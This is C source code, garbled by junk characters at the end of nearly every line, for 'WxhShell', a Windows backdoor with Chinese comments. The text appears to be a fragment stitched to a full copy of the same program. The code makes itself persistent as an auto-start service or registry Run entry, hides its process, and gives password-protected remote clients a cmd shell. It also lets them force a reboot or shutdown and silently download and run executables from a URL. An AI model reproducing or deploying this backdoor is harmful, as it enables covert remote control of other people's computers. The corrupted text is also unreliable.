    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *[cCY!+Qy  
    if(Boot(SHUTDOWN)) .4ww5k>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;e_us!Sn  
    else { ]4B;M Ym*  
    closesocket(wsh); hfJ&o7Dt  
    ExitThread(0); 9q0s  
    } x]YzVJ=Y  
    break; kj|Oj+&  
    } v1i-O'  
  // 获取shell F ]X<q uuL  
  case 's': { ;4-$C=&  
    CmdShell(wsh); >#n"r1  
    closesocket(wsh); !DA4q3-U>>  
    ExitThread(0); q;R&valn  
    break;  cL .z{  
  } i'CK/l.H  
  // 退出 enxb pq#  
  case 'x': { gWjYS#D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Vc(kw7  
    CloseIt(wsh); FnVW%fh  
    break; B!<B7Q  
    } |{|B70v3Co  
  // 离开 R7b-/ !L  
  case 'q': { OE[7fDe'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M&=SvM.f  
    closesocket(wsh); 7]So=% q  
    WSACleanup(); LTBH/[q5  
    exit(1); tMdSdJ8  
    break; V1P]pP  
        } ?$)a[UnqX  
  } ~9rNP{+  
  } D4"<suU|.  
Otr=+i ZI  
  // 提示信息 :?EZ\WM7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lm!]m\LRZD  
} C!547(l[  
  } 29 !QE>Q  
&!;o[joG  
  return; >~7XBb08  
} 3;b)pQ~6CJ  
C&@'oLr  
// shell模块句柄 1LFad>`  
int CmdShell(SOCKET sock) D',7T=C   
{ yS K81`  
STARTUPINFO si; `tO t+>YWn  
ZeroMemory(&si,sizeof(si)); *:\[;69[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vS ( Y_6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,;YNI  
PROCESS_INFORMATION ProcessInfo; 3 u=\d)eq  
char cmdline[]="cmd"; ~%tVb c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (e_p8[x  
  return 0; VxOWv8}|  
} gs0 jwI  
1Cc91  
// 自身启动模式 |j/Y#.k;{0  
int StartFromService(void) #N`MzmwS  
{ 1Q^u#m3  
typedef struct nT 4Ryld  
{ i.K!;E>  
  DWORD ExitStatus; }X])055S  
  DWORD PebBaseAddress; LIJ#nb  
  DWORD AffinityMask; !iHC++D  
  DWORD BasePriority; NG\'Ii:-J  
  ULONG UniqueProcessId; e|SN b*_  
  ULONG InheritedFromUniqueProcessId; 'G[G;?F  
}   PROCESS_BASIC_INFORMATION; H{_D#It  
~U7Bo(EJp  
PROCNTQSIP NtQueryInformationProcess; qoT&N,/  
hX,RuI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3y$6}Kp4?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]n@T5*=  
EBWM8~Nm#  
  HANDLE             hProcess; _8SB+s*  
  PROCESS_BASIC_INFORMATION pbi; {{bwmNv"  
|ggtb\W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /J"fbBXwY  
  if(NULL == hInst ) return 0; !:xE X~  
7uUq+dp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AW_YlS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z<P?p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OP=oSfa  
T6?03cSE  
  if (!NtQueryInformationProcess) return 0; V_^pPBa  
[T'[7 Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c#?~1@=  
  if(!hProcess) return 0; 1H%p|'FKA  
1bz^$2/k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ON{a'H  
@b2?BSdUp  
  CloseHandle(hProcess); 1Xh@x  
fwx^?/5j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %#EzZD  
if(hProcess==NULL) return 0; LH`$<p2''r  
a_\7Ho$^  
HMODULE hMod; x~m$(LT  
char procName[255]; s LDEa  
unsigned long cbNeeded; u46Z}~xfb  
-d2)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Kj7or|  
4!3<[J;N;  
  CloseHandle(hProcess); ~kpa J'm  
)_Hv9!U]e  
if(strstr(procName,"services")) return 1; // 以服务启动 v9TIEmZ  
W4#DeT  
  return 0; // 注册表启动 ^K8XY@{&  
} gs.+|4dv  
18kWnF]n=  
// 主模块 t\2-7Ohj6  
int StartWxhshell(LPSTR lpCmdLine) <%|u1cn~!v  
{ Mc8_D,7  
  SOCKET wsl; ,9F3~Ryt(  
BOOL val=TRUE; ^G5fs'd  
  int port=0; qUg/mdv&  
  struct sockaddr_in door; ] fA5D)/m<  
-ciwIS9L  
  if(wscfg.ws_autoins) Install(); z 36Y/{>[  
Uw5&.aqn.b  
port=atoi(lpCmdLine); 7bGOE_r  
a>6M{C@pd  
if(port<=0) port=wscfg.ws_port; Mx# P >.  
n Jz*}=  
  WSADATA data; uHZjpMoM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xrlyph5mE  
(Xz q(QV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Gw6Od j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qi qRx  
  door.sin_family = AF_INET; 5>H&0> \  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xrc{w Dn  
  door.sin_port = htons(port); -nD} k  
FyXO @yF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0>;[EFL  
closesocket(wsl); T gLr4Ex  
return 1; ?!c7Zx,(  
} MCXt,`}[  
$QT% -9&  
  if(listen(wsl,2) == INVALID_SOCKET) { E+ XR[p  
closesocket(wsl); 7bVKH[  
return 1; u#V;  
} gH"a MEC  
  Wxhshell(wsl); @.dM1DN)  
  WSACleanup(); }lq$Fi/  
WhFE{-!gX  
return 0; +,T}x+D  
31]Vo;D  
} 3 UQBIrQ  
J!Rqm!)q  
// 以NT服务方式启动   LR4W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n(n7"+B  
{ #!m^EqF1_  
DWORD   status = 0; l4I',79l  
  DWORD   specificError = 0xfffffff; Y_XRf8Sw  
jrm^n_6};  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R(}!gv}s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;d}n89DXj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Un+-  T  
  serviceStatus.dwWin32ExitCode     = 0; w8KxEV=  
  serviceStatus.dwServiceSpecificExitCode = 0; ;?-{Uk  
  serviceStatus.dwCheckPoint       = 0; `$JOFLa  
  serviceStatus.dwWaitHint       = 0; D-m%eP.  
ePSD#kY5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |\C.il7  
  if (hServiceStatusHandle==0) return; ,W]}mqV%.'  
Sl \EPKZD  
status = GetLastError(); FELW?Q?k  
  if (status!=NO_ERROR) ,&@FToR  
{ h,/3 }  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a94 nB  
    serviceStatus.dwCheckPoint       = 0; ep l1xfr  
    serviceStatus.dwWaitHint       = 0; O "Aeg|  
    serviceStatus.dwWin32ExitCode     = status; S4E@wLi  
    serviceStatus.dwServiceSpecificExitCode = specificError; @}%kSn5y:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Idj Z2)$  
    return; OaByfo<S  
  } f8f|'v|  
,yfJjV*I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JmBMc }54  
  serviceStatus.dwCheckPoint       = 0; :X1Y  
  serviceStatus.dwWaitHint       = 0; <rU+{&FKNL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $ M|vIw{#  
} [2 Rz8e^  
"/hLZl  
// 处理NT服务事件,比如:启动、停止 u b@'(*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0 zjGL7  
{ R^K:hKQ  
switch(fdwControl) UyMlk  
{ X`]>J5  
case SERVICE_CONTROL_STOP: zHW&i~  
  serviceStatus.dwWin32ExitCode = 0; wA87|YK8*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K=P LOC5  
  serviceStatus.dwCheckPoint   = 0; Ml_!)b  
  serviceStatus.dwWaitHint     = 0; (+TL ]9P  
  { Wl,I%<&j}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g(F2IpUm/  
  } 1-G-p:|  
  return; "?J f#  
case SERVICE_CONTROL_PAUSE: D]V&1n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #hEU)G' $+  
  break; En8L1$_  
case SERVICE_CONTROL_CONTINUE: 25;`yB$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X(>aW*q  
  break; D6P/39}W  
case SERVICE_CONTROL_INTERROGATE: Z~"8C Kz  
  break; 7P52r  
}; 7#g<fh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O-+!KXHd[  
} fa/p  
JNA_*3 '  
// 标准应用程序主函数 Mi[,-8Sk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^687U,+  
{ T zHR  
oIKuo~  
// 获取操作系统版本  8KzH -  
OsIsNt=GetOsVer(); _<)HFg6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =?hbi]  
H|cxy?iJ  
  // 从命令行安装 1a#R7chl  
  if(strpbrk(lpCmdLine,"iI")) Install(); mldY/;-H!1  
(`f)Tt=`  
  // 下载执行文件 ( "J_< p  
if(wscfg.ws_downexe) { \=@4F^U7`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W jBtL52  
  WinExec(wscfg.ws_filenam,SW_HIDE); w< |Lx#L}  
} *jy"g64j  
j)jt&Gg'  
if(!OsIsNt) { ,\PTn7_  
// 如果时win9x,隐藏进程并且设置为注册表启动 K$ |!IXs  
HideProc(); ~A>-tn}O  
StartWxhshell(lpCmdLine); >DR/ lBtL  
} u%CJjy  
else PO0/C q)  
  if(StartFromService()) d 4;   
  // 以服务方式启动 42 rIIJ1A  
  StartServiceCtrlDispatcher(DispatchTable); S ^@# %>  
else R)GDsgXy  
  // 普通方式启动 sO&eV68 [  
  StartWxhshell(lpCmdLine); h)?Km{u%  
#pMpGw$  
return 0; w8-L2)Q}I  
} RSF@Oo{  
CSE!Abg  
 w"h'rw  
zvbz3a  
=========================================== EJ Ta~  
S%w67sGl4n  
h56s~(?O  
G*^4 CJ  
~#JX 0J=  
x1QL!MB  
" Ua>.k|>0  
V5]\|?=  
#include <stdio.h> rK cr1VFy  
#include <string.h> au7@-_  
#include <windows.h> bY=Yb  
#include <winsock2.h> z-h7v5i"  
#include <winsvc.h> yc@ :*Z  
#include <urlmon.h> ^|%7}=e  
?*U:=|  
#pragma comment (lib, "Ws2_32.lib") rj;~SC{  
#pragma comment (lib, "urlmon.lib") `AELe_  
?Q}3X-xy  
#define MAX_USER   100 // 最大客户端连接数 M_F4I$V4  
#define BUF_SOCK   200 // sock buffer 1.z !u%2  
#define KEY_BUFF   255 // 输入 buffer wW'.bqA  
-.7UpDg~  
#define REBOOT     0   // 重启 [N*`3UZk"  
#define SHUTDOWN   1   // 关机 259:@bi!y  
7Y*Q)DDy  
#define DEF_PORT   5000 // 监听端口 D?9EO=  
M cbiO)@I  
#define REG_LEN     16   // 注册表键长度 ;+VHi%5Z  
#define SVC_LEN     80   // NT服务名长度 {=kW?  
( z%t  
// 从dll定义API J y0TVjA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $ 4A!Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {Gr"oO`&"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LwEc*79  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]4&B*]j  
A,GJ6qp3  
// wxhshell配置信息 z_9q T"vF  
struct WSCFG { ^p #bxN")  
  int ws_port;         // 监听端口  1O@ cev;  
  char ws_passstr[REG_LEN]; // 口令 ~DK=&hCd!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0,[- 4m  
  char ws_regname[REG_LEN]; // 注册表键名 ${, !Ll7)  
  char ws_svcname[REG_LEN]; // 服务名 m:5bb 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 L"V~M F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wHhIa3_v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DBzF\-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %{";RfSVX%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y t0s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;i;;{j@$i  
|#(g 8ua7  
}; L~L]MC&  
y O?52YO  
// default Wxhshell configuration Zq"wq[GCN  
struct WSCFG wscfg={DEF_PORT, A/*h[N+2!  
    "xuhuanlingzhe", *Ja,3Qq  
    1, 0'tm.,  
    "Wxhshell", Dlu]4n[LB  
    "Wxhshell", /pnQKy.  
            "WxhShell Service", zH?&FtO  
    "Wrsky Windows CmdShell Service", \G &q[8F\  
    "Please Input Your Password: ", 9 kS;_(DB  
  1, 38(|a5  
  "http://www.wrsky.com/wxhshell.exe", :vy./83W  
  "Wxhshell.exe" oJ)v6"j  
    }; rZ7)sE5L  
?anKSGfj  
// 消息定义模块 ),+u>Os&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I'16-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H.: [# a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m3iB`  
char *msg_ws_ext="\n\rExit."; {Ng HH]]O  
char *msg_ws_end="\n\rQuit."; X+k`UM~  
char *msg_ws_boot="\n\rReboot..."; s2\6\8Ipn  
char *msg_ws_poff="\n\rShutdown..."; H3" D$Nv  
char *msg_ws_down="\n\rSave to "; s$;IR c5!6  
aQhr$aH  
char *msg_ws_err="\n\rErr!"; rlVo}kc7:  
char *msg_ws_ok="\n\rOK!"; i"C?6R  
Ol. rjz9  
char ExeFile[MAX_PATH]; G,b1u"  
int nUser = 0; e.^Y4(  
HANDLE handles[MAX_USER]; DM@&=c  
int OsIsNt; QCk(qlN'h9  
Z8_Q Kw>  
SERVICE_STATUS       serviceStatus; x<e-%HB*-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; .TWX,#  
mdD9Q N01  
// 函数声明 Y=N; Bj  
int Install(void);  <E&"]  
int Uninstall(void); k34!*(`q  
int DownloadFile(char *sURL, SOCKET wsh); T@H2[ 7[;  
int Boot(int flag); ;Cqjg.wkB  
void HideProc(void); N?;5%pG <  
int GetOsVer(void); W&(98}oT  
int Wxhshell(SOCKET wsl); rSfvHO:R  
void TalkWithClient(void *cs); O1K~]Nt  
int CmdShell(SOCKET sock); #>byP?)n  
int StartFromService(void); hV4B?##O  
int StartWxhshell(LPSTR lpCmdLine); .Qeml4(`3  
)|zna{g\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0^{?kg2o_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -#?p16qz5  
(Eoji7U  
// 数据结构和表定义 (KxL*gB  
SERVICE_TABLE_ENTRY DispatchTable[] = 0Ku%9wh-  
{ HR83{B21  
{wscfg.ws_svcname, NTServiceMain}, xd`!z`X!,s  
{NULL, NULL} !56gJJ-r  
}; R]{AJ"p  
2i~qihx5^  
// 自我安装 \V,;F!*#G  
int Install(void) )\TI^%s  
{ ku}I; k |  
  char svExeFile[MAX_PATH]; f~D> *<L4-  
  HKEY key; NTtRz(   
  strcpy(svExeFile,ExeFile); +vtI1LC;_  
/y"Y o  
// 如果是win9x系统,修改注册表设为自启动 ihJC)m`Hbl  
if(!OsIsNt) { y 3O Nn~k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #dgWXO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [oQ&}3\XJ  
  RegCloseKey(key); j\SW~}d9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cAE.I$T(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y)I8(g}0  
  RegCloseKey(key); 3y Azt*dZ  
  return 0; vYNh0)$%F  
    } J12 ZdC'O  
  } ?=uw0~O[  
} b]h]h1~hHH  
else { o[!g,Gmoh  
4;ig5'U,  
// 如果是NT以上系统,安装为系统服务 5PQs1B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =Jx,.|Bf  
if (schSCManager!=0) E*Q><UU  
{ ZkJYPXdn?  
  SC_HANDLE schService = CreateService jF\J+:5M  
  ( I!;#Nk>  
  schSCManager, ^vJPeoW  
  wscfg.ws_svcname, [T.BK:  
  wscfg.ws_svcdisp, .baS mfc  
  SERVICE_ALL_ACCESS, i%~4>k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :>[;XT<  
  SERVICE_AUTO_START, 5)yQrS !{:  
  SERVICE_ERROR_NORMAL, tU%-tlU9?  
  svExeFile, ^m   
  NULL, /N ^%=G#  
  NULL, 7n~BDqT  
  NULL, "]nbM}>  
  NULL, ~qiSkG  
  NULL F62arDA  
  ); <'4DMZ-G  
  if (schService!=0) w%1B_PyDg  
  { X~Li`  
  CloseServiceHandle(schService); pAV}hB  
  CloseServiceHandle(schSCManager); T@]vjXd![  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (r^IW{IndX  
  strcat(svExeFile,wscfg.ws_svcname); PaEsz$mgy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t _Q/v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x=qACoq  
  RegCloseKey(key); jBEt!Azur  
  return 0; 15r<n  
    } ` m`Sl[6  
  } Iy](?b  
  CloseServiceHandle(schSCManager); 5}R /C{fs  
} &:-`3J-  
} $s hlNW\  
5CkM0G`  
return 1; J|Lk::Ri  
} id.o )=  
L$`!~z 1  
// 自我卸载 A]{8 =  
int Uninstall(void) @Ey(0BxNu  
{ MWCP/~>a2  
  HKEY key; C<6IiF[>%  
3Nh;^  
if(!OsIsNt) { VYhZ0;' '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {nbD5 ?   
  RegDeleteValue(key,wscfg.ws_regname); E YUr.#:  
  RegCloseKey(key); ,7pO-:*g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1GW=QbO 6  
  RegDeleteValue(key,wscfg.ws_regname); }@Oy kN  
  RegCloseKey(key); T"Wq:  
  return 0; )*^PMf  
  }  -[a0\H  
} h"YIAQ',  
} d*1@lmV*  
else { / vge@bsE  
b=QO^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); odquAqn  
if (schSCManager!=0) 0}Xkj)R,  
{ COj50t/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "0g1'az}  
  if (schService!=0) @)m+O#a  
  { F5J=+Q%8[&  
  if(DeleteService(schService)!=0) { ;G~0 VM2|  
  CloseServiceHandle(schService); =5LtEgHU  
  CloseServiceHandle(schSCManager); ;P _`4w3  
  return 0; SM:{o&S`  
  } ?}B9=R$Pi  
  CloseServiceHandle(schService); a7q-*%+d5  
  } g B<p  
  CloseServiceHandle(schSCManager); -^;G^Uq6=  
} )j@k[}R#g  
} }{Lf 4|8  
N`grr{*_  
return 1; qrNW\ME  
} (^9q7)n  
^#S  
// 从指定url下载文件 }x-~>$:"  
int DownloadFile(char *sURL, SOCKET wsh) [8SW0wsk  
{ cCU'~  
  HRESULT hr; OR( )D~:n  
char seps[]= "/"; }<&g1x'pa  
char *token; Qkk~{OuC  
char *file; 4%p5X8|\ih  
char myURL[MAX_PATH]; _?@>S7-  
char myFILE[MAX_PATH]; &.o}(e:]  
{TdK S  
strcpy(myURL,sURL); 6yTL7@V|B  
  token=strtok(myURL,seps); CQ"IL;y  
  while(token!=NULL) }k<b)I*A  
  { R8\y|p#c  
    file=token; _e8@y{/~Fd  
  token=strtok(NULL,seps); ?Yg K]IxD  
  } ^$_ifkkLz  
+]CKu$,8  
GetCurrentDirectory(MAX_PATH,myFILE); IVkKmO(qO  
strcat(myFILE, "\\"); eJ%~6c`@!  
strcat(myFILE, file); $z{HNY* 2  
  send(wsh,myFILE,strlen(myFILE),0); QD<^VY6  
send(wsh,"...",3,0); !V@Y \M d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v<tH 3I+   
  if(hr==S_OK) \9i.dF  
return 0; klUxt?-  
else !U,qr0h  
return 1; 0tn5>Dsk  
n4k. tq  
} 8o4<F%ot  
.K}u`v T  
// 系统电源模块 R.|fc5_"+  
int Boot(int flag) g;v{JB  
{ DD|%F  
  HANDLE hToken; \(Zdd \,  
  TOKEN_PRIVILEGES tkp; Si*Pi  
GMgsM6.R  
  if(OsIsNt) { .m/Lon E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0'BR Sa<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2{XQDOyA  
    tkp.PrivilegeCount = 1; U`<EpO{j|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G ~a/g6M4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yKOf]m>#  
if(flag==REBOOT) { YcRjbF,|6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?8! 4!P%n  
  return 0; '/;#{("  
} *-_` xe  
else { A~nq4@uj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _\sm$ `q  
  return 0; UH%?{>oRh  
} Cl<` uW3  
  } pR 1v^m|  
  else { Wz:MPdz3(  
if(flag==REBOOT) { k%NY,(:(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -hp,O?PM  
  return 0; IOTHk+w  
} M29[\@zL  
else { 1.yw\ZC\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $hn_4$  
  return 0; !&SUoa  
} <B$Lu4b@c  
} 9S&6u1  
_*bXVJ ]  
return 1; 0>Ki([3  
} ;N]ElwP  
IH[/fd0  
// win9x进程隐藏模块 r]BB$^@@V  
void HideProc(void) :;{U2q+  
{ qdZn9i  
:r^i0g|5P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Iy|]U&`  
  if ( hKernel != NULL ) .yi.GRk  
  { EW#.)@-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9N=Dls  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X_Y$-I$qd  
    FreeLibrary(hKernel); i0p"q p  
  } $3Wl~ G}  
a/L?R Uu  
return; ?@_3B]Fs  
} L-@j9hU{  
6n%^ U2H/-  
// 获取操作系统版本 "M_X9n_  
int GetOsVer(void) ~O@V;y  
{ nm %ka4  
  OSVERSIONINFO winfo; Rc?wIL)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G*ym[  
  GetVersionEx(&winfo); pgU54 Ef  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <T  
  return 1; G:u[Lk#6K  
  else \e'>$8%T  
  return 0; SAThY$)6  
} V%e'H>EC  
YaSwn3i/@S  
// 客户端句柄模块 v[m/>l2[P  
int Wxhshell(SOCKET wsl) Z9=Cw0( w?  
{ Lk#u^|Eq7=  
  SOCKET wsh; Xb$)}n\9  
  struct sockaddr_in client; ~+3f8%   
  DWORD myID; ':o.vQdJ  
#0G9{./C  
  while(nUser<MAX_USER) 1vl~[  
{ tEiN(KA!5  
  int nSize=sizeof(client); Q(V c/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]jY->NsA]  
  if(wsh==INVALID_SOCKET) return 1; _i}6zxqw  
l4R:_Z<  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6],5X^*Y  
if(handles[nUser]==0) NYR^y \u  
  closesocket(wsh); #ye++.7WK  
else uO7Ti]H  
  nUser++; Uy_`=JZ  
  } {hg,F?p '  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B Sb!{|]  
'f;+*~*L  
  return 0; [uAfE3  
} m&2< ?a}l  
N1#*~/sXh  
// 关闭 socket "p2PZ)|  
void CloseIt(SOCKET wsh) J"6_H =s   
{ ?F?!QrL  
closesocket(wsh); )vuxy  
nUser--; 2&$A x  
ExitThread(0); dVO|q9 /  
} J,{sRb%  
%\r4c*O1q  
// 客户端请求句柄 )2bPu[U  
void TalkWithClient(void *cs) \8_&@uLm  
{ TmzEZ<} &7  
Eg  w?  
  SOCKET wsh=(SOCKET)cs; }p8a'3@Z  
  char pwd[SVC_LEN]; *]x]U >EF  
  char cmd[KEY_BUFF]; G9Xrwk<g4  
char chr[1]; n~K_|  
int i,j; $[FO(w@f  
-I4@` V  
  while (nUser < MAX_USER) { <k<  
x8zUGvtQ  
if(wscfg.ws_passstr) { {:{NK%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AO8`ItNZdT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #MOEY|6  
  //ZeroMemory(pwd,KEY_BUFF); #1V vK  
      i=0; , Y9lp)w  
  while(i<SVC_LEN) { 4\Q ?4ZX  
']}ZI 8  
  // 设置超时 aQinR"o  
  fd_set FdRead; 'H*S-d6V  
  struct timeval TimeOut; Zf?>:P  
  FD_ZERO(&FdRead); u^iK?S#Ci8  
  FD_SET(wsh,&FdRead); BS+N   
  TimeOut.tv_sec=8; E>SnH  
  TimeOut.tv_usec=0; 3&3S*1b-H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?N$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M@8 <^CK  
AX]lMe  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); oqUtW3y  
  pwd=chr[0]; Ds0^/bYp&  
  if(chr[0]==0xd || chr[0]==0xa) { _?O'65  
  pwd=0; XQlK}AK  
  break; ;wTl#\|w0  
  } =wI ,H@  
  i++; f5d"H6%L  
    } QXgh[9w G  
ETjlq]@j  
  // 如果是非法用户,关闭 socket gt'0B-;W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ] hL 1qS  
} Ay2Vz>{  
s?E7tmaM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dbE $T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [y=k}W}z  
(j}"1  
while(1) { e~nmIy  
#N@sJyI N  
  ZeroMemory(cmd,KEY_BUFF); ldi'@^  
7(Y!w8q&^  
      // 自动支持客户端 telnet标准   _YO` x  
  j=0; }&`#  
  while(j<KEY_BUFF) { ^Zydy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mq6.!j  
  cmd[j]=chr[0]; LnrR#fF]Z  
  if(chr[0]==0xa || chr[0]==0xd) { N;<<-`i  
  cmd[j]=0; &xrm;pO  
  break; }T4"#'`  
  } *sZOws<  
  j++; L;E9"7Jo  
    } 8Z FPs/HP  
)#IiHBF  
  // 下载文件 aL+k1v[m  
  if(strstr(cmd,"http://")) { 3DMfR ofg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '1^\^)&q  
  if(DownloadFile(cmd,wsh)) s26:(J [{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HrEZ]iQ@O0  
  else m:II<tv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GT<Y]Dk  
  } n=L;(jp<j  
  else { u5$\E]+ _  
"4&HxD8_ih  
